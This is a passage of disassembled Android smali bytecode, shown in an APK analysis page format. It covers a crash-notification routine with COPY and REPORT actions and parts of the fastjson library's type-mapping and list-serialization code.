                                                191move-object/from16 v22, v9
                                                193invoke-virtual/range {v21 .. v22}, Landroid/app/Notification$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                                194move-result-object v21
                                                196invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                197move-result-wide v22
                                                199invoke-virtual/range {v21 .. v23}, Landroid/app/Notification$Builder;->setWhen(J)Landroid/app/Notification$Builder;
                                                200move-result-object v21
                                                201move-object/from16 v19, v21
                                                202move-object/from16 v21, v19
                                                203const/16 v22, 0x1
                                                205invoke-static/range {v21 .. v22}, Landroid/support/coreui/app/__;->setSmallNotificationIcon(Landroid/app/Notification$Builder;Z)V
                                                206sget v21, Landroid/os/Build$VERSION;->SDK_INT:I
                                                207const/16 v22, 0x10
                                                208move/from16 v0, v21
                                                209move/from16 v1, v22
                                                210if-lt v0, v1, :cond_159
                                                211move-object/from16 v21, v19
                                                212new-instance v22, Landroid/app/Notification$BigTextStyle;
                                                213move-object/from16 v28, v22
                                                214move-object/from16 v22, v28
                                                215move-object/from16 v23, v28
                                                217invoke-direct/range {v23 .. v23}, Landroid/app/Notification$BigTextStyle;-><init>()V
                                                218move-object/from16 v23, v9
                                                220invoke-virtual/range {v22 .. v23}, Landroid/app/Notification$BigTextStyle;->bigText(Ljava/lang/CharSequence;)Landroid/app/Notification$BigTextStyle;
                                                221move-result-object v22
                                                223invoke-virtual/range {v21 .. v22}, Landroid/app/Notification$Builder;->setStyle(Landroid/app/Notification$Style;)Landroid/app/Notification$Builder;
                                                224move-result-object v21
                                                225cond_159: move-object/from16 v21, v19
                                                226new-instance v22, Landroid/app/Notification$Action;
                                                227move-object/from16 v28, v22
                                                228move-object/from16 v22, v28
                                                229move-object/from16 v23, v28
                                                230const/16 v24, 0x0
                                                232const-string v25, "COPY"
                                                233move-object/from16 v26, v13
                                                235invoke-direct/range {v23 .. v26}, Landroid/app/Notification$Action;-><init>(ILjava/lang/CharSequence;Landroid/app/PendingIntent;)V
                                                237invoke-virtual/range {v21 .. v22}, Landroid/app/Notification$Builder;->addAction(Landroid/app/Notification$Action;)Landroid/app/Notification$Builder;
                                                238move-result-object v21
                                                239move-object/from16 v21, v19
                                                240new-instance v22, Landroid/app/Notification$Action;
                                                241move-object/from16 v28, v22
                                                242move-object/from16 v22, v28
                                                243move-object/from16 v23, v28
                                                244const/16 v24, 0x0
                                                246const-string v25, "REPORT"
                                                247move-object/from16 v26, v17
                                                249invoke-direct/range {v23 .. v26}, Landroid/app/Notification$Action;-><init>(ILjava/lang/CharSequence;Landroid/app/PendingIntent;)V
                                                251invoke-virtual/range {v21 .. v22}, Landroid/app/Notification$Builder;->addAction(Landroid/app/Notification$Action;)Landroid/app/Notification$Builder;
                                                252move-result-object v21
                                                253move-object/from16 v21, v18
                                                254const v22, 0x60a40a2e
                                                255move-object/from16 v23, v19
                                                257invoke-virtual/range {v23 .. v23}, Landroid/app/Notification$Builder;->getNotification()Landroid/app/Notification;
                                                258move-result-object v23
                                                260invoke-virtual/range {v21 .. v23}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
                                                261goto_195: const/16 v21, 0x0
                                                263invoke-static/range {v21 .. v21}, Ljava/lang/System;->exit(I)V
                                                264return-void
                                                265catch_19b: move-exception v21
                                                266move-object/from16 v12, v21
                                                267try_start_19e: new-instance v21, Ljava/lang/NoClassDefFoundError;
                                                268move-object/from16 v28, v21
                                                269move-object/from16 v21, v28
                                                270move-object/from16 v22, v28
                                                271move-object/from16 v23, v12
                                                273invoke-virtual/range {v23 .. v23}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                274move-result-object v23
                                                276invoke-direct/range {v22 .. v23}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V
                                                277throw v21
                                                278catch_1b0: move-exception v21
                                                279move-object/from16 v7, v21
                                                280goto/16 :goto_195
                                                Cross References
                                                APIs
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.util.concurrent.ConcurrentMap.put
                                                • java.lang.Class.getName
                                                • java.util.concurrent.ConcurrentMap.put
                                                Strings
                                                • byte
                                                • short
                                                • int
                                                • long
                                                • float
                                                • double
                                                • boolean
                                                • char
                                                • [byte
                                                • [short
                                                • [int
                                                • [long
                                                • [float
                                                • [double
                                                • [boolean
                                                • [char
                                                • [B
                                                • [S
                                                • [I
                                                • [J
                                                • [F
                                                • \'
                                                • [D
                                                • [C
                                                • [Z
                                                Position Instruction Meta Information
                                                0const-class v0, [C
                                                1const-class v1, [Z
                                                2const-class v2, [D
                                                3const-class v3, [F
                                                4const-class v4, [J
                                                5const-class v5, [I
                                                6const-class v6, [S
                                                7const-class v7, [B
                                                9sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                11sget-object v9, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                13const-string v10, "byte"
                                                15invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                17sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                19sget-object v9, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                21const-string v10, "short"
                                                23invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                25sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                27sget-object v9, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                29const-string v10, "int"
                                                31invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                33sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                35sget-object v9, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                37const-string v10, "long"
                                                39invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                41sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                43sget-object v9, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                45const-string v10, "float"
                                                47invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                49sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                51sget-object v9, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                53const-string v10, "double"
                                                55invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                57sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                59sget-object v9, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                61const-string v10, "boolean"
                                                63invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                65sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                67sget-object v9, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                69const-string v10, "char"
                                                71invoke-interface {v8, v10, v9}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                73sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                75const-string v9, "[byte"
                                                77invoke-interface {v8, v9, v7}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                79sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                81const-string v9, "[short"
                                                83invoke-interface {v8, v9, v6}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                85sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                87const-string v9, "[int"
                                                89invoke-interface {v8, v9, v5}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                91sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                93const-string v9, "[long"
                                                95invoke-interface {v8, v9, v4}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                97sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                99const-string v9, "[float"
                                                101invoke-interface {v8, v9, v3}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                103sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                105const-string v9, "[double"
                                                107invoke-interface {v8, v9, v2}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                109sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                111const-string v9, "[boolean"
                                                113invoke-interface {v8, v9, v1}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                115sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                117const-string v9, "[char"
                                                119invoke-interface {v8, v9, v0}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                121sget-object v8, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                123const-string v9, "[B"
                                                125invoke-interface {v8, v9, v7}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                127sget-object v7, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                129const-string v8, "[S"
                                                131invoke-interface {v7, v8, v6}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                133sget-object v6, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                135const-string v7, "[I"
                                                137invoke-interface {v6, v7, v5}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                139sget-object v5, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                141const-string v6, "[J"
                                                143invoke-interface {v5, v6, v4}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                145sget-object v4, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                147const-string v5, "[F"
                                                149invoke-interface {v4, v5, v3}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                151sget-object v3, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                153const-string v4, "[D"
                                                155invoke-interface {v3, v4, v2}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                157sget-object v2, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                159const-string v3, "[C"
                                                161invoke-interface {v2, v3, v0}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                163sget-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                165const-string v2, "[Z"
                                                167invoke-interface {v0, v2, v1}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                169sget-object v0, Lcom/alibaba/fastjson/util/TypeUtils;->mappings:Ljava/util/concurrent/ConcurrentMap;
                                                170const-class v1, Ljava/util/HashMap;
                                                172invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                173move-result-object v1
                                                174const-class v2, Ljava/util/HashMap;
                                                176invoke-interface {v0, v1, v2}, Ljava/util/concurrent/ConcurrentMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                177return-void
                                                Cross References
                                                APIs
                                                • java.lang.reflect.ParameterizedType.getActualTypeArguments
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.getModifiers
                                                • java.lang.reflect.Modifier.isPublic
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • java/util/List
                                                • list
                                                • out
                                                • seperator
                                                • (I)V
                                                • write
                                                • size
                                                • ()I
                                                • []
                                                • (Ljava/lang/String;)V
                                                • setContext
                                                • (Ljava/lang/Object;Ljava/lang/Object;)V
                                                • (Ljava/util/List;)V
                                                • i
                                                • get
                                                • (I)Ljava/lang/Object;
                                                • list_item
                                                • writeNull
                                                • ()V
                                                • java/lang/Object
                                                • getClass
                                                • ()Ljava/lang/Class;
                                                • list_item_desc
                                                • writeDirectNonContext
                                                • java/lang/Integer
                                                • valueOf
                                                • (I)Ljava/lang/Integer;
                                                • (L
                                                • ;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • writeWithFieldName
                                                • (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • popContext
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Lcom/alibaba/fastjson/asm/MethodVisitor;",
                                                6"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                7"Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;",
                                                8")V"
                                                9}
                                                10.end annotation
                                                11move-object/from16 v0, p0
                                                12move-object/from16 v1, p2
                                                13move-object/from16 v2, p3
                                                14move-object/from16 v3, p4
                                                16iget-object v4, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                17instance-of v5, v4, Ljava/lang/Class;
                                                18if-eqz v5, :cond_11
                                                19const-class v4, Ljava/lang/Object;
                                                20goto/16 :goto_1a
                                                21cond_11: check-cast v4, Ljava/lang/reflect/ParameterizedType;
                                                23invoke-interface {v4}, Ljava/lang/reflect/ParameterizedType;->getActualTypeArguments()[Ljava/lang/reflect/Type;
                                                24move-result-object v4
                                                25const/4 v5, 0x0
                                                26aget-object v4, v4, v5
                                                27goto_1a: const/4 v5, 0x0
                                                28instance-of v6, v4, Ljava/lang/Class;
                                                29if-eqz v6, :cond_22
                                                30move-object v5, v4
                                                31check-cast v5, Ljava/lang/Class;
                                                32cond_22: const-class v6, Ljava/lang/Object;
                                                33if-eq v5, v6, :cond_2a
                                                34const-class v6, Ljava/io/Serializable;
                                                35if-ne v5, v6, :cond_2b
                                                36cond_2a: const/4 v5, 0x0
                                                37cond_2b: new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                39invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                40new-instance v7, Lcom/alibaba/fastjson/asm/Label;
                                                42invoke-direct {v7}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                43new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                45invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                47invoke-direct {v0, v1, v2, v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_nameApply(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/Label;)V
                                                49invoke-direct {v0, v1, v3, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                50const/16 v9, 0xc0
                                                52const-string v10, "java/util/List"
                                                54invoke-interface {v1, v9, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                56const-string v9, "list"
                                                58invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                59move-result v11
                                                60const/16 v12, 0x3a
                                                62invoke-interface {v1, v12, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                64invoke-direct {v0, v1, v2, v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_filters(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/Label;)V
                                                66invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                67move-result v11
                                                68const/16 v13, 0x19
                                                70invoke-interface {v1, v13, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                71const/16 v11, 0xc7
                                                73invoke-interface {v1, v11, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                75invoke-direct {v0, v1, v2, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_if_write_null(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                76const/16 v11, 0xa7
                                                78invoke-interface {v1, v11, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                80invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                82const-string v7, "out"
                                                84invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                85move-result v14
                                                87invoke-interface {v1, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                89const-string v14, "seperator"
                                                91invoke-virtual {v3, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                92move-result v14
                                                93const/16 v15, 0x15
                                                95invoke-interface {v1, v15, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                97sget-object v14, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                99const-string v12, "(I)V"
                                                101const-string v11, "write"
                                                102const/16 v15, 0xb6
                                                104invoke-interface {v1, v15, v14, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                106invoke-direct {v0, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_writeFieldName(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                108invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                109move-result v14
                                                111invoke-interface {v1, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                112const/16 v14, 0xb9
                                                114const-string v15, "size"
                                                116const-string v13, "()I"
                                                118invoke-interface {v1, v14, v10, v15, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                119const/16 v13, 0x36
                                                121invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                122move-result v14
                                                124invoke-interface {v1, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                125new-instance v13, Lcom/alibaba/fastjson/asm/Label;
                                                127invoke-direct {v13}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                128new-instance v14, Lcom/alibaba/fastjson/asm/Label;
                                                130invoke-direct {v14}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                131move-object/from16 v16, v6
                                                133invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                134move-result v6
                                                135move-object/from16 v17, v8
                                                136const/16 v8, 0x15
                                                138invoke-interface {v1, v8, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                139const/4 v6, 0x3
                                                141invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                142const/16 v6, 0xa0
                                                144invoke-interface {v1, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                146invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                147move-result v6
                                                148const/16 v8, 0x19
                                                150invoke-interface {v1, v8, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                152const-string v6, "[]"
                                                154invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                156sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                158const-string v8, "(Ljava/lang/String;)V"
                                                159const/16 v0, 0xb6
                                                161invoke-interface {v1, v0, v6, v11, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                162const/16 v0, 0xa7
                                                164invoke-interface {v1, v0, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                166invoke-interface {v1, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                168invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                169move-result v0
                                                170const/4 v6, 0x1
                                                171if-nez v0, :cond_10b
                                                172const/16 v0, 0x19
                                                174invoke-interface {v1, v0, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                176invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                177move-result v8
                                                179invoke-interface {v1, v0, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                180sget v8, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                182invoke-interface {v1, v0, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                184sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                186const-string v8, "setContext"
                                                188const-string v13, "(Ljava/lang/Object;Ljava/lang/Object;)V"
                                                189const/16 v6, 0xb6
                                                191invoke-interface {v1, v6, v0, v8, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                192cond_10b: const-class v0, Ljava/lang/String;
                                                193if-ne v4, v0, :cond_137
                                                195invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                196move-result v0
                                                197if-eqz v0, :cond_137
                                                199invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                200move-result v0
                                                201const/16 v6, 0x19
                                                203invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                205invoke-virtual {v3, v9}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                206move-result v0
                                                208invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                210sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                212const-string v2, "(Ljava/util/List;)V"
                                                213const/16 v8, 0xb6
                                                215invoke-interface {v1, v8, v0, v11, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                216move-object/from16 v18, v14
                                                217const/4 v2, 0x1
                                                218const/16 v4, 0x19
                                                219const/16 v6, 0xb6
                                                220goto/16 :goto_42b
                                                221cond_137: const/16 v6, 0x19
                                                222const/16 v8, 0xb6
                                                224invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                225move-result v0
                                                227invoke-interface {v1, v6, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                228const/16 v0, 0x10
                                                229const/16 v6, 0x5b
                                                231invoke-interface {v1, v0, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                233sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                235invoke-interface {v1, v8, v0, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                236new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                238invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                239new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                241invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                242new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                244invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                245const/4 v13, 0x3
                                                247invoke-interface {v1, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                248const/16 v13, 0x36
